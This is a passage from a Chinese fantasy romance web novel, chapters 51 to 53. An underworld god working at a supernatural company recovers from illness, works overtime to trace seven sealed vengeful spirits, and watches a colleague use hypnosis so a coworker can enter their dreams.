“废物点心。”白念生着急,直接用判官笔在空中化符,然后纵身而起,配合云为衫镇压。
一段时间的效果是有的,但不大。
只镇两息,瞬间又被破开!
云为衫尾巴处透了点红晕。
白念生担忧起来,“实在不行,就全灭了吧!”
云为衫也想,但是,就算打散,用不了多久,又会重聚在一起。
云为衫情急之下,想起身上还有一道符,趁着一瞬间的空隙,将仅剩的那道符也甩了出去。
不同于安饶那点微弱的光,更不同于白念生的短暂镇压。
一时金光大作之下,每道金丝直直抽在六道黑气之上,将它们尽数钉在原地动弹不得。
有用?
云为衫喘了口气,收回尾巴,落回地面,白念生上前扶住她,“还行吗?”
云为衫冲他摆摆手,□□,按住胸口,气血翻涌不止。
“可以啊,组长,还藏着后手。”安饶简直惊喜不已。
她朝阎璟的方向看了一眼,眉头微微蹙起。阎璟在她甩出镇灵符的那一刻,便开始往冷樾身后躲,希望自己从此当个隐形人。
安饶也很是纳闷,“这张符不是我画的。”
阎璟有些心虚,不敢对上云为衫投来的目光,拉着冷樾的手臂,开始鸵鸟行为。
“当然不是你画的,是我们阎小璟的练笔之作。”云为衫盯着他不放,“之前只觉得阎小璟画法与寻常不同,所以准备拿过来研究研究,没想到,今天使出来威力这么大!是不是啊阎小璟!”
阎璟尴尬得不知如何回应,“呃……我是从一本古籍上看来的,我也不知道威力这么大。”
冷樾瞥了云为衫一眼,转移话题,“行了。别扯那些有的没的,看看那祭祀法阵还能不能修复,若修复不了,就想办法把这东西全部封印带回去,再从长计议。”
“修是没可能了,直接毁尸灭迹。”云为衫还在盯着阎璟。
阎璟抱着保温杯躲在冷樾身后,只是一味沉默不语。
闻不聊倒是相当识趣,已经将那个檀木盒取了过来。
“封印在一起吧!先带回去。”
此时的黄河,才像条沉睡的巨龙,当第一缕金光掠过河面,地平线,巨龙打了个哈欠,彻底苏醒了。
阎璟拉了一下冷樾的衣角,小声问道,“带回去能不能交给我处理?”
冷樾原本也是准备带回去后,想办法交给阎璟,毕竟这东西特殊,交给其他人只有一个方法,就是直接抹杀!
抹杀掉最终的结果就是冥界地府的投胎率永远赤字,消除不掉了。
如今阎璟亲自张嘴,倒也省了冷樾找理由!
“好。”
“你都不问我吗?”阎璟发现,冷樾这个人真的一点好奇心都没有。
冷樾反问他,“我问你,你会告诉我吗?”
阎璟沉默了,低头想了一下这个问题,如果冷樾真的问了,他会如实相告吗?
答案是:不会!
冷樾看出他心中所想,“我相信你能处理好。”
闻不聊直接将六道黑气全部封印在檀木盒中,然后交到冷樾手上。
“回吧。”
云为衫望着石屋里的王老六,“你们先回吧!我把后事料理完。”
白念生跟在她的脚步后面,“我陪你一起吧!”
于是,兵分两路,冷樾带着阎璟和闻不聊,安饶,先回了公司。
地点坐标依旧是在负七层的缩地千里阵中。
回来的阎璟神情恍惚了一下,差点没有站稳,冷樾眼疾手快第一时间扶住人。
瞧着阎璟这神情,他已经差不多到了极限,“我先送你回家。”
阎璟看着他手里的檀木盒,担忧问,“那这个呢……”
“当然一起带走。”冷樾理所当然说道。
闻不聊和安饶默契地就当没看到也没听到,直接转身去按电梯按钮。
果然,阎璟一回到青灯山庄,就直接倒了下去。身体温度已经到达40度,可见他整个人其实一直在硬撑。
檀木盒放在阎璟的床头柜上,盒身时不时泛着幽光。
冷樾拧着冰帕,一直替阎璟敷额头,希望能降降温。
冷樾轻唤几声阎璟,见人没有反应,悄悄走到院中,大手一挥,几个土地神出现在花坛中。
冷樾也不多废话,直接奔主题,“神被封印神力后,身体若生病,怎么治?”
“啊?”
“神还会生病?”
“问你,怎么治?”
土地神们面面相觑,其中一个年长的上前一步,捋着胡须道:“这位大人,神体抱恙分两种情况,一种是神魂受损,一种是神力枯竭。您得先弄清楚他是哪一种。”
冷樾皱眉,“有何区别?”
“神魂受损,需以魂养魂,寻滋补神魂的天材地宝。若神力枯竭,则要引天地灵气灌顶,慢慢温养。”老土地看了看屋内,“依小神看,那位大人怕是……神力枯竭。”
另一个土地神同样点点头,“小老儿也觉得如此,你看他头顶上进度条都发红了。”
冷樾:“……”
人间的灵力太过稀薄,这段时间,阎璟消耗的不多,但入不敷出,也是到
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极限了,毕竟总是用神力开神识里的生死簿,耗费不小。
“知道了,退下吧!”
卧室内,阎璟烧的迷迷糊糊的,耳边总是能听到冷樾的声音,有点分不清是现实还是梦中,喃喃唤了一声:“冷樾,你在吗?”
冷樾目光微沉,握住那只攥紧的手,低声道,“我在,一直都在。”
听得熟悉的声音后,阎璟的呼吸渐渐平稳了些,冷樾也没有松手,就这么静静坐在他床边。
“没见过你这么老实巴交的神,封印你的神力,你可以偷偷冲开啊!我不说,谁又知道,当真就硬生生受着。”
可惜,阎璟已经听不见了。
“黄仙儿?”冷樾轻唤了一声。
一道白雾突然出现在房间,黄仙儿显然还没有睡醒,就被唤了来。
“大少爷,你们回来了。”
“嗯,去浴室放水。”
黄仙儿一看床上昏迷不醒的阎璟,心下一惊,“我这就去。”
冷樾一只手放在阎璟额头之上,透过湿毛巾慢慢朝阎璟额头输送灵气。
随着灵气渐入,阎璟的脸色这才慢慢缓过来,不再是之前那种苍白,嘴唇也渐渐回了血色。
冷樾重新检查他脉搏和心跳,不似之前速度,才放下心来抱他去了浴室。
浴室里的温度调得适中,冷樾抱着阎璟安静坐在浴缸中,周边金色的气息慢慢缠绕在两人周围。
阎璟迷迷糊糊睡了两天才醒。
醒来的时候,有种说不出道不明的浑身舒坦感。
他偏过头一看,是从黄河带回来的那个檀木盒子,老老实实躺在床头柜上,盖子上面多加了几道符文,封的严严实实。
思绪慢慢回笼,他盯着那盒子,眉心拧成一个疙瘩。
天呐!七个怨灵,存在了上千年。
怎么处理才好?
难为他的投胎率!就这?能上来就怪了!
不过回头想想,似乎也挺好,有问题咱就解决问题,毕竟总比找不到问题来的好。
阎璟甩甩头,暂时把这个问题甩到脑后。撑着坐起来,伸了个懒腰,骨头咔咔作响。
就在这时,他愣住了。
他的身体里似乎有股神力在缓缓涌动,比他之前剩的那点家底厚实多了。
“睡一觉就涨这么多?”他自言自语,摸了摸额头,不烧了,“看来这次发烧纯粹是因为没睡好,嗯,一定是这样。”
正琢磨着,房门被敲了两下,黄仙儿那颗小脑袋探了进来,眼睛一亮,“你醒啦!”
阎璟一见是她,放松下来,弯了弯嘴角,“嗯,我是不是睡了很久?”
“可不是嘛!”黄仙儿推门进来,一脸认真,“大少爷在你床边守了两天两夜,眼都没怎么合,今天一早接了通电话,被叫走了。”
阎璟心想:冷樾守了他两天吗?
“饿不饿?锅上煲着粥呢,大少爷亲自炖的,还温热着呢,说你醒了就能吃,我去给你端来。”
不说还好,一说阎璟的肚子立刻咕咕叫起来,太配合了,让他有点不好意思,只能尴尬笑笑。
两大碗热粥下肚,米香混着淡淡的甜味,阎璟这才觉得自己彻底活过来了。
他放下碗,满足地叹了口气,摸出手机看了一眼。
属于冷樾的那串数字他几乎能背出来,可手指放上的瞬间,还是有点胆怯。
他现在尤其清晰,石屋门后的两人紧紧相拥的触感,若说那会子是因为发烧,那现在呢?
冷樾!光是看到这个名字就让他心跳加速!
啊!!!!!阎璟!你完了!
你居然对一个人类产生了异样的情感!他的情劫早就历过了,为什么现在感觉才来。
不对劲啊!不对劲!
黄仙儿一直在旁边默默观察他,这才看个手机的功夫,怎么就唉声叹气起来。
“要给大少爷打电话吗?”黄仙儿问,“大少爷说,如果你醒啦,要通知他的。”
阎璟抬头看她,“他真这么说啊!”
“嗯,他担心你。”黄仙儿一脸坦诚。
阎璟也似乎想给自己找个理由,长呼一口气,“那好,既然他这么说了,我便打个平安电话吧!”
51. 深夜加班的阎王大人
手机铃声只响了一声,那边就接通了,速度很快,快到让阎璟都没反应过来,拿着手机直接愣住。
怎么这么快?
他还准备了开场白,如今被堵在口中,一点也没有派上用场。
手机那头传来冷樾熟悉的声音,声音不大,却意外的温和,先是小心翼翼唤了一声,“小璟?”
还生怕惊着什么似的。
可就两个字而已,就让阎璟心头一颤,整个人像是被什么东西撞了一下,酥酥麻麻,直冲脑门。
“嗯,是我,我醒了。”阎璟顿了顿,终于听到自己发出的声音,觉得有点不好意思,瞅了一眼黄仙儿,又在后面补了一句,“是黄仙儿告诉我,她让我告诉你,我醒了,让你别担心。”
黄仙儿在旁边耸耸肩,识相的收拾碗筷离开。
电话那头先是沉默了几秒,然后传来一声轻轻的呵声,不知道是在笑还是叹气,半晌,声音传了过来:“是她让你这么做的?还是你心里想这么做?”
阎璟愣住了。
冷樾的话一针见血!
阎璟转头看向窗外,庭院里的花开得正好,阳光落在花瓣上,晃得人眼睛发亮。他认真想了想,心里那点涟漪一圈圈荡开,嘴角也跟着翘起来。
“都有吧。”他说。
电话那头没说话。
但阎璟能想象出来,冷樾现在一定微微垂着眼眸,心里觉得他傻,或者又在偷偷笑他。
他猜得没错。
此刻,小会议室里,几个A组高层成员正襟危坐。
主位上的冷樾,从开会到现在,一直没什么表情的脸上,只是接了个电话,居然破天荒地从眼底浮出一丝笑意,
怎么说呢,那张如冰川一样的脸上瞬间温柔得像四月的风,软得能掐出水来。
“恋爱脑没救了。”云为衫冲着上面那人啧啧两声,又连连摇头。也不管旁边是谁,随手一把拽过那人衣领,压低声音,“看见没?谈恋爱的男人就这样,桃花朵朵开,脑子嗡嗡响。”
闻不聊没有心理准备,被她拽得一个踉跄,差点从椅子上滑下去。
但他识时务者为俊杰,立刻点头附和她的话,“是,云组说得对。”
闻不聊的话一出口,云为衫就发现音色不对。
恍一抬头,看见闻不聊那张跟冷樾一样半天打不出一个闷屁的死人脸。
再一看,白念生不知什么时候跟闻不聊换了位置,正一脸得意眼神斜瞄这边,捂嘴偷着乐。
云为衫目光幽幽地瞪着白念生。
白念生全装作没看见,还冲她略略略。
云为衫不好意思的松开闻不聊的衣领,顺带给他整理好,冲他笑了笑,“你女朋友不会吃醋吧!”
闻不聊:“……”
这人还真是插个缝就埋汰他两句。
那边不知道说了什么,冷樾笑了几声,又叮嘱几句才依依不舍地挂了电话。
然后那脸色一瞬间,四月的天又变回冰川,“继续!”
“……“云为衫不服,“你这是假公济私,开会时还接电话,我要投诉你?”
冷樾看都没看她,只问了一句:“你猜我为什么来当这个总监?”
切!
三天后,阎璟终于销了假,返回公司上班。气色比之前还要好,白念生把人从头到脚检查一遍。
最后认真点点头,“嗯,胖了点!”
“真的?”
“骗你的!”两人开始说说笑笑。
想想阎璟自从开始上班,不是头晕就是发烧。“你这是印堂发黑,跟公司犯冲啊!”
“怎么解?道长。”阎璟配合着他演。
白念生掐指一算,“一顿烧烤,去去霉气。”
“道长说了算。”
也算圆了入职后,两人一直没吃上的那顿饭,这次怎么也得补上。况且,阎璟确实有话要单独跟白念生谈,既然机会合适,两人一拍即合!
“尤其今天,朝廷的赈灾粮下来了。”白念生心里美滋滋的,简直锦上添花,他问阎璟,“发了多少?”
阎璟摇摇头,他不知道今天发工资,所以没查。
白念生也知道他是个电子白痴,平时除了接电话,回消息,也就会简单的网上冲浪。
查薪酬这种事,简直是为难他这个山顶洞人。
索性问他还不如自己上手,白念生也不客气,直接打开阎璟的OA,点开薪酬查询,让阎璟输入密码。
这个工作账号密码特别简单,就是孟小七给他开通的原始密码111111!
白念生无语,“就不能改改。”
三两下操作,“这不就出来了嘛……哇,呃!嗯,好多啊!!”
阎璟顺着他的目光看向屏幕,“怎么了?”
白念生盯着那一串数字,陷入了沉默。
天!居然只有1415元。
“很多吗?”阎璟问。
白念生把到嘴边的安慰话咽回去,挤出一个笑,“太多了,多的都不敢想。”
阎璟瞅了一眼,倒觉得还好。“约一点五个卧/草。”
白念生竖起来大拇指,“跟上主流先锋。”
论坛里有个讨论贴,被领导严令禁止讨论薪酬,所以每个人都用卧/草代替,一个卧/草一千块钱,相当昂贵。
白念生拍拍阎璟的肩膀,“别看钱没挣多少,但也没白干,起码累病了。”
阎璟被他的话逗得没绷住,直接笑出了声,“也没白病,还休息几天。”
阎璟关掉页面,眼不见为净。
他大概是在家躺太久了,似乎产生了错觉,扭头一看,总觉得右上角那盆绿萝都比他休息前长高了一截。
“之前那盆是前辈留下的,长时间没人照看,营养不良,”白念生解释道,“孟小七说它克你,昨天被她给换走了。”
“那我得空谢谢她。”
“客气!我替她受了,”白念生脸皮厚,竖起食指和小拇指,跟掐诀一样,亮在阎璟眼前,“两顿烧烤!”
后面,白念生把这几天发生的事,捡重要的说了几件。
阎璟这才知道,冷樾顶着巨大的压力自行处理那七个千年怨灵的事,被上面知道了。
高层一致要求他一星期内完成满意度指标,投胎率也得回暖,不然季度会议上,挨批斗是板上钉钉的事。
阎璟愣住了,“一个星期?”
“对啊,一个星期。”白念生重复了一遍。
一星期七天,他回来昏睡了两天,又被冷樾勒令按在家里养了三天,如今就只剩两天了。
冷樾怎么也不跟他说一声呢!
不行!得想个办法。
阎璟想,今晚就算加班,也得把这七个东西的祖宗十八代查出来,眼前不就有个好手嘛!
“白念生,晚上这顿我请你吃吧!”
白念生被他盯得发毛,这感觉似曾相识,“你的饭……会好吃吗?”
“会的,我保证。”阎璟眼里泛着精光。
“我不吃行不行?”白念生被他盯得无所适从。“有点心慌。”
“不行。”
白念生还想挣扎,阎璟故技重施,上去一把捂住他的嘴,“出事我担着。”
“……”
不出意外,两人约好的烧烤又没吃上。当晚,阎璟勒令白念生陪他加班到深夜。
白念生也不知道脑子怎么想的,还真就陪着他无厘头的查,自己怎么也想不明白,怎么就稀里糊涂答应了。
简直有毒。
公司里安静得只剩白念生面前还有键盘声,他现在的怨气,丝毫不比那七个千年怨灵少。
“我真是信了你的鬼话,加班,干活,还没有加班费,更没有功德分。”
阎璟忽略他的抱怨,直奔主题,“怎么样,能查到吗?”
白念生已经尽力了,瘫在桌上,嘴里直嘟囔。“不行了,筛出来很多,筛不动了。”
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阎璟盯着数据皱眉,拍拍他肩膀,“辛苦了,回去休息吧!”
“不吃饭了?”
“改天。”
“信你个鬼!”白念生一听可以了,跑得那叫一个快。
阎璟摇头失笑。
白念生用生死簿都查不出来,那就只有一个可能,他这个人间界的身份,公司给他匹配的等级权限不够。
阎璟庆幸自己有先见之明,让秦广王把阎王等级权限的OA密码送了来。
不然今晚还真没辙。
夜深人静时,阎璟再次打开六道轮回系统登录页,输入密码,直接进入。
六道轮回系统,配合他识海开的生死簿一起查,应该可能追查到那七个人的来历。
他认真盯着屏幕,根本无从下手,这个系统他是第一次进,界面眼花缭乱,“点哪个才对?”
正发愁,一杯热牛奶轻轻落在他工位上。
还有人!
阎璟惊得猛地抬头。
冷樾不知什么时候走到他身后,正垂眸看他。
“早点回去。”他的语气平淡。
阎璟看着面前那个阎王权限登录的界面,又回头看看冷樾。
两人四目相对,一时无言。
完!要完!要完蛋!
冷樾肯定怀疑自己身份了!
现在挡住屏幕会不会太欲盖弥彰?!
冷樾却当做没看到一样,随手拉过旁边的椅子,坐在阎璟身边,“要查什么?”
“啊,哦!我得尽快把那七个怨灵的执念了了,送他们轮回,”阎璟回过神,“不然……会连累你。”
“连累我?”这话从何说起。
“对啊。”阎璟把白念生跟他说的话,原模原样在冷樾面前又学了一遍。
他说,前几天在大会议室里,几个高层把你喊去批斗了一番。
“我不知道岳晖他是怎么骂你的,你也没跟我讲,我有点担心。”阎璟的声音越来越低。
白念生告诉他,他从外面凑巧经过时(实则偷听)。说听到里面传来很严厉的喝声:“谁让你擅自做主私下处理的!”
“还听到那里面说,限你七天内必须解决!”
冷樾:“……”
他沉默了两秒,才开口。
“白念生怎么说的?”
阎璟一愣,“就……刚才那样啊!”
冷樾看着他,难得露出一丝无奈的神色。
“岳晖的原话是:这件事总部一旦发问起来,你就说是你自己干的。”
“我没答应。他又说:‘不答应也不行,谁让你擅自做主私下处理的!’”
阎璟:“……啊?”
“至于七天内必须解决,”冷樾语气淡淡的,“他的原话是:‘祖宗,总部发话了,这次投胎率咱们必须上升。这是个千载难逢的机会。’
给你七天时间,一个星期不够,就两个星期,再不够就三个星期。只要能解决问题。你先答应我,别逼我跪下求你。”
阎璟:“……”
“还有。”冷樾慢条斯理地补充,“总部那边高层说,这次的半年度经营管理会,人间界若有所改善,奖励总部大楼十日游。”
阎璟彻底愣住了!
什么玩意,怎么没人跟他说啊!
所以,他这么努力加班,是为了什么?
他盯着冷樾看了三秒。
然后啪的一下站起来,一把拉起冷樾的手。
“走吧。”
“去哪!”冷樾被他拉的猝不及防。
阎璟拽着他往外走,语气斩钉截铁,“回家睡觉。”
冷樾被他拉着走了两步,嘴角动了动,到底还是没忍住,眉眼间弯成了笑。
走廊的灯光落在他俩身上,把影子拉得很长。
谁也没有注意到,在他们走后,阎璟的电脑上系统突然闪烁一下,满屏雪花,“啪”一下黑屏!整个办公区彻底被黑暗覆盖!
52. 打算入梦的阎王大人
虽然冷樾嘴上说不急,但也不能一直就这么放着。
书房内,阎璟坐在太师椅上,双手支着下巴,眼神直勾勾盯着桌上那只檀木盒,整个人仿佛跟抽走了魂似的,时不时唉声叹气。
他已经对着这东西,发呆整整一个上午了。
无论是生死簿还是六道轮回系统,关于那七个魂魄的一切信息,都像是被人用黑布蒙住了一样,什么都查不到。
他还试过用因果线去追溯,结果更离谱。
那些本该由灵魂深处延伸出来的因果线,居然绕来绕去缠到了自己身上。
这还不算完,就连一旁的冷樾也没能幸免。
七道颜色各异的因果线,像是有生命似的,把他俩缠得严严实实,怎么都散不开。
阎璟终于忍不住开口,“这东西是不是有问题?”
冷樾端着杯咖啡,靠在窗前站了一会儿,看着外面的花草树木,十分享受,抿咖啡的动作优雅,整个人不慌不忙。
听到阎璟的叹气声,才悠悠转过身来,把咖啡轻放在桌案上,二话不说把阎璟从位置上抱起来,像抱个孩子一样,动作干脆。
阎璟被他的动作吓了一大跳。
“我记得公司前段时间新入职那个女孩子能入梦。”冷樾抬眸轻声说,“让她来试试?”
“入梦,林小软?”阎璟愣了一下,他倒是把她给忘了,眨眨眼,“不过,她能入别人的梦吗?”
“问问看。”冷樾转身把案台上的手机递给他,“兴许可以。”
阎璟觉得可以一试!
恰逢周末,林小软此刻正窝在家里刷视频。
公司论坛里不知道哪个匿名的狗东西,把阎璟和冷樾当初在密室逃脱里拜堂的视频,再配上谁是我的新娘的BGM,发在论坛里,魔幻中又透着好笑,林小软笑得花枝乱颤,倒在床上翻身打滚。
收到阎璟的短信时,她还以为自己眼花了,揉了两遍眼睛,才确定自己没有看错。
等确认了三遍消息内容,她才真的确信,视频里拜堂的主人公,他信信念念的那位小哥哥,居然真的有事请她帮忙,还去他家里做客。
“哇!!好运要来了。”林小软快速回复阎璟OK后,婉拒阎璟来接她的邀请。二话不说就冲进卫生间洗漱,噼里啪啦一阵捣鼓,势必一定要用最漂亮的姿态出现在小哥哥面前。
阎璟放下手机,对冷樾点点头,表示,“她答应了。”
因为要干正事,冷樾难得地让黄仙儿回山神庙待两天。
小东西走的时候还一脸不情愿,嘴巴撅的比谁都高!
离晌午还有一些距离时,林小软的电话过来,电话那头的声音软萌,笑语盈盈。
冷樾亲自去开的门,结果门一打开。
闻不聊和白念生一人拎着一个袋子,齐刷刷站在门口,笑得那叫一个灿烂,在两人后面,才出现一身清新长裙打扮的林小软的身影。
“HELLO啊!”白念生扬了扬手里的袋子,表示自己不是空手来的。
“刚刚在路上碰到的,他们知道我要过来,就……跟过来了。”林小软站在两人中间,不好意思地看了冷樾一眼,尴尬地挠挠头,脸上的笑容带着点不好意思,希望今天她还能进门。
冷樾面无表情看着那两个人,先是看了一眼闻不聊,没说话,又看看白念生,沉默了三秒。
“东西留下。”他语气平静,“人消失。”
“好嘞!”白念生答应得那叫一个痛快,然后拉着林小软就往门槛里迈,脚抬得比谁都高,就这么趾高气昂从冷樾身旁经过。
闻不聊跟在后面,慢悠悠地补了一句,“多谢款待。”
语气里理所当然理直气壮。
冷樾深吸一口气,胸口起伏了一下。
“啪!”一下,门在他身后重重关上。
就知道没这么顺利!
阎璟也愣了一下,他没想到白念生和闻不聊也跟着过来了,这下可真热闹。
“你们怎么来了?”
白念生把手里提溜的啤酒往桌上一墩,理直气壮,“组长约会去了,我来找你喝喝酒。”
这两者有何因果关系吗?
周围的空气突然安静起来。
阎璟那原本就不怎么会转的脑子,像卡住一般,把白念生那句话反反复复来回倒了三遍,才缓缓抬起头,眼神复杂地看向白念生。
而在一旁的林小软,嘴巴已经张成了一个标准的O型,半天合不拢。
她没听错吧?白念生居然在暗恋云为衫?
因为组长去约会了,所以借酒消愁?
白念生被几人意味深长的目光盯得浑身发毛,下意识后退半步,“你们……在想什么?”
阎璟收回目光,学着白念生平常安慰他的话,同样拍拍他的肩膀,“没事没事,云组只是去约会,又不是相亲,你还有机会。”
“我什么机会?”
“追她的机会啊!”林小软终于把嘴合上,插了一句。
“我疯了?我为什么要追她?”白念生声音都高了八度。
“不是你自己说的吗?心情不好要喝酒。”阎璟说。
“我什么时候说我心情不好?”白念生打断阎璟,皱着眉回想自己刚才说的话。
【组长约会去了,我来找你喝酒。】
……
三秒后。
“我去!”白念生一巴掌拍在自己额头上,“你们想哪儿去了!我的意思是,组长没空,所以我和闻不聊来找你喝酒!就这么单纯喝酒!!比矿泉水还单纯!!”
闻不聊在旁边默默点头,表示确实如此。
阎璟略显失望哦了一声,“这样啊!”
林小软也哦了一声,转身走了,她还以为听到什么不得了的呢!
“阎小璟,你学坏了,公司把你们都荼毒成什么样了?看你们这什么反应?”白念生不服气,“也太八卦了吧!”
阎璟头也不回,幽幽飘来一句:“这不是公司传统吗?”
刚入职不久的林小软,也深以为然地点点头。
既然人都来了,那就谁也别闲着。
阎璟清了清嗓子,先把正事拎出来,“小软,我需要你入梦,去查一下那七个人的身份。”
“啊?”林小软正拿着瓶酒,好奇是什么牌子,差点没拿稳给摔了,“我?”
她可怜巴巴地眨眨眼,“小璟哥哥,我那个入梦的能力……都是被动触发的,而且我从来没主动入过别人的梦啊!我可能不太行……”
“没关系。”阎璟一脸慈祥,语重心长,“我会帮你的。”
自从上次睡了两天醒来,他感觉自己体内的神力蹭蹭涨了一截,撑个小软入个梦应该不成问题。
“不需要太久,只要知道她们的名字,你就出来。”
“可是……”林小软挠挠头,“我该怎么做呢?”
“平常你是怎
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么入梦的?”
“睡觉啊。”
“那就按你之前的来,睡觉就成。”
“可是……”林小软的表情更纠结了,她看看阎璟,又看看桌上摆的这么多好吃的,最后憋出一句,“我现在不困啊!”
阎璟:“……”
白念生没忍住,“噗”地一声笑出声来。
闻不聊嘴角也微微上扬,心想小姑娘很可爱!
冷樾端着几杯热茶走过来,挨个放在几人面前,最后走到阎璟身边,温声道,“别着急,急不来的。”
他低头又补了一句,“实在不行,白念生不是要喝酒吗?先让他喝两瓶,让小软入他的梦,先练练手?”
瞬间不嘻嘻!白念生笑容凝固在脸上,“……等等,这剧情不对吧?”
说干就干!
林小软是个实心眼的姑娘,还真把冷樾的话当了真,拉着白念生的袖子就要对瓶吹。
仰起脖子,酒瓶往嘴边送,一脸豁出去的表情。
“妹妹,你冷静一点!”白念生连忙去拦,“他们开玩笑的你看不出来啊!”
“白哥,你也喝点,”林小软把酒瓶往白念生手里塞,眼神认真得可爱,“做梦快。”
“白鸽?我还乌鸦呢!”白念生把她的酒瓶往外拿,女孩子可不能这么猛,“大白天做什么梦!”
他本来是来找阎小璟喝酒的,如今倒好,成了小白鼠,搁谁谁愿意?
阎璟叹了口气,端起茶来抿了一口,望着眼前这出闹剧,心道:闹吧!今天这时间估计算是白费了。
一旁,闻不聊也在慢慢品茶,似不经意地开口,“想快速入梦还是有办法的。”
“和尚你有办法?”阎璟第一个转过头来,眼睛亮了,“快说快说。”
闻不聊不慌不忙放下茶杯,站起身来,从怀中掏出一物,金灿灿的。
在阳光下,闪着奢侈的光。
林小软直接看呆了,放下酒瓶,哇哇哇走了过去。
她认得,那是一块百达翡丽怀表,表盖还是老式的繁纹,链子也是老银的,一看就不是凡品。
这得多少钱啊!
白念生更是惊得下巴掉下来,他一直觉得,闻不聊是他们中间最穷的穷和尚,没想到,不鸣则已啊!
“这表很贵吧!”白念生凑过去,伸手想摸又不敢摸。
和尚没接他的话,只微微一笑,走到林小软身前。
站定后,手腕轻轻抬起来,瞬间,怀表顺着地球引力自然垂下来,在和尚指间晃晃悠悠,晃晃悠悠,一左一右,一左一右。
“看着它。”
闻不聊的声音故意放得很轻,带着诱惑力与空灵之感,就像是从很远的地方飘来。
林小软下意识盯着那晃动的表,眼神渐渐开始涣散。
阎璟在一旁看着有趣,也忍不住走过去多看了两眼。
怀表在空中摇摆的弧度和速度,似乎有种神奇的魔力。
他的视线跟着晃了几晃,眼前就开始发晕,脚下一个踉跄,扶着椅子慢慢滑坐下去。
“别什么都好奇。”冷樾起身将人带过来压低声音,告诉阎璟,“这是催眠术?”
白念生跟着晃了几下脑袋,“要我说,直接打晕算了。”
闻不聊没有理他,只是继续手上的动作,不停摇摆,不急不缓。
林小软的眼皮越来越沉,整个人的意识渐渐模糊,最终软软地向后倒去。
53. 控制入梦的闻聊大人
白念生顺其自然接住林小软的身体,扭头看向闻不聊,满脸不可思议,“我去……和尚,你还有多少本事是我们不知道的?”
闻不聊收回怀表,扣好表盖,重新揣回怀中,云淡风轻的端起那杯已经放凉的茶。
“贫僧的能耐,你们往后一件一件慢慢发现便是。”
“装货!”白念生低声啐骂一句,把林小软抱到床上,一脸不屑,“就算你本事大,又有钱,那又怎么样?我们老大从来就是不喜欢秃驴,是不是阎小璟!”
“啊?”阎璟被突然点名,一惊,怎么扯到自己身上了?“哦,我还行。”
“……”
白念生恨铁不成钢,朝阎璟方向空气猛掐脖领。这个阎小璟真现实,有事所求,就不敢得罪人了。
白念生绕着闻不聊身前身后,上上下下打量好几圈,“你说一个和尚,又是百达翡丽又会催眠,不知道的还以为你是哪家高门富家公子包养的小白脸呢?”
“白念生。”冷樾出声打断,语气里带着警告的意味。
“哼!嫉妒使我面目全非。”白念生撇撇嘴。
“云组长钱不少,够你买一百个百达翡丽,你可以正大光明花她的。”冷樾说道。
“谁稀罕。”白念生“切”一声,不说话了。
阎璟看着冷樾,目光里带着探究,心想,冷樾难得会维护什么人?难道冷樾知道闻不聊的来历?
冷樾确实知道,毕竟他们相识多年,闻不聊的身世其实一直都是个谜。
只知道他幼年出家,师从一位云游老僧,后来老僧圆寂,他便独自一人,四海为家。
至于出家前的事,他从不提起,冷樾也从未问过。
空气似乎有些微妙。
“她真能入这七人的梦吗?”阎璟适时开口,打破沉默。
又蹲下身,靠近床边,看着林小软安静的睡颜,眉头微蹙,回过头朝喝茶的闻不聊发问,“催眠术能控制梦境吗?”
“不能。”闻不聊放下茶杯,语气清淡,“但可以引导。”
“什么意思?”
闻不聊看向熟睡的林小软,目光幽深,“我能帮她推开那扇门,让她以后可以自由操纵梦境,至于她能发挥到什么地步,就看她自己的觉悟了。”
闻不聊把话说得如此玄妙,阎璟也大约听懂了!
闻不聊是要开启并放大林小软身上的天赋异禀,让她从原来的被动化成主动。
几人都不再言语,室内只剩下林小软平静有规律的呼吸声,轻起轻落。
冷樾不知何时离开的,前往琴室取来了一把年代久远的古琴,递到闻不聊手边。
闻不聊接过,走到窗边,把琴放在窗边案台上,随后盘腿落座。
白念生连连称奇:“居然还会琴?这么高雅?”
闻不聊抬头看他,还是那句话:“贫僧的能耐……”
“……慢慢发现便是。”白念生立马接上他的话,顺便冲他翻了个白眼。
“阿弥陀佛!”闻不聊双手扶在琴弦上,修长的手指轻扶一根琴弦,微微一勾。
“叮——”
随着一声清响,如同一水滴沉入寒潭,风吹过平静无波的海面,荡起涟漪。
四周骤然安静下来。
就连廊下的风也放轻了脚步,不敢造次。
阎璟和冷樾找个离林小软最近位置坐了下来,白念生则是识趣地靠在门边晒太阳,随着琴声起落,拿起判官笔,随手布起一道结界,将整个院落罩在其中。
原本白念生心里还在纳闷,闻不聊此人一向不喜欢凑热闹,怎么肯跟他一起来找阎小璟喝酒,感情人家是来干活的!
白瞎了一顿酒,喝不成了!
屋内静悄悄地,阎璟望着那檀木盒,心里隐约不太放心,抬头和冷樾对视一眼,冷樾给他一个肯定的眼神,他才安下心来。
闻不聊指腹轻轻摩挲着琴弦,低沉清冷的声音在空中回响,“无论梦中是好是坏,千年,也该结束了。”
随着话音落,琴声起。
起初只是极轻的,如晨雾漫过溪亭。
渐渐地,琴音变得绵密,丝丝缕缕,缠缠绕绕。
伴随一股淡青色的气流,从琴身上浮现,慢慢绕过阎璟和冷樾,朝后面封印的檀木盒上掠去,几圈过后,又绕在床上林小软的身上。
肉眼可见,那道青丝缓缓渗入她的眉心。
不知过了多久。
林小软的眼皮忽然动了动。
白念生在门口回望,瞧得一惊,嘴里犯嘀咕,“她该不会要醒吧?”
闻声,阎璟立刻竖起食指,抵在唇边,目光沉沉,示意他噤声。
白念生点点头,手指放嘴边,做个嘘的手势。
琴声淡淡,在房间里辗转回荡。
梦境中,一阵白雾袭来,林小软缓缓睁开眼睛,映入眼帘的是一片白茫茫的天地,没有天,没有地,没有边界,只有无边的白。
“我进来了!”她低头看看自己的手,又抬头环顾四周,声音里压着惊喜,“我真的进来了!”
就在这时,一道熟悉的声音从天空中传来,声音空灵悠长,像是从极远的地方,穿透层层迷雾,才到达林小软的耳畔。
“小软,你能听见我说话吗?”
是小璟哥哥!
林小软立刻仰起头,对着白茫茫的天空用力点头,“能能能,我能!小璟哥哥,我能听到你的声音!”
“小软,你不要怕。”阎璟的声音沉稳,带着让人安心的力量,“如果梦境控制不住,闻不聊会立刻拉你出来。”
“我不怕!”她握紧拳头,声音清脆,“我不怕!”
“待会儿无论看到什么,你都不要受影响。”阎璟顿了顿,“你的任务是查清楚那七个人的身份,一旦知道她们的名字,手指就动一下。”
“嗯嗯!我记住了,小璟哥哥。”
屋内之外,阎璟缓缓睁开眼,忽然胸口又开始发闷,像是被一块大石头压着,沉甸甸的。
刚刚对她叮嘱,不知道她听见了多少。
冷樾从后面扶住他,脸色不甚好看,“还好吗?”
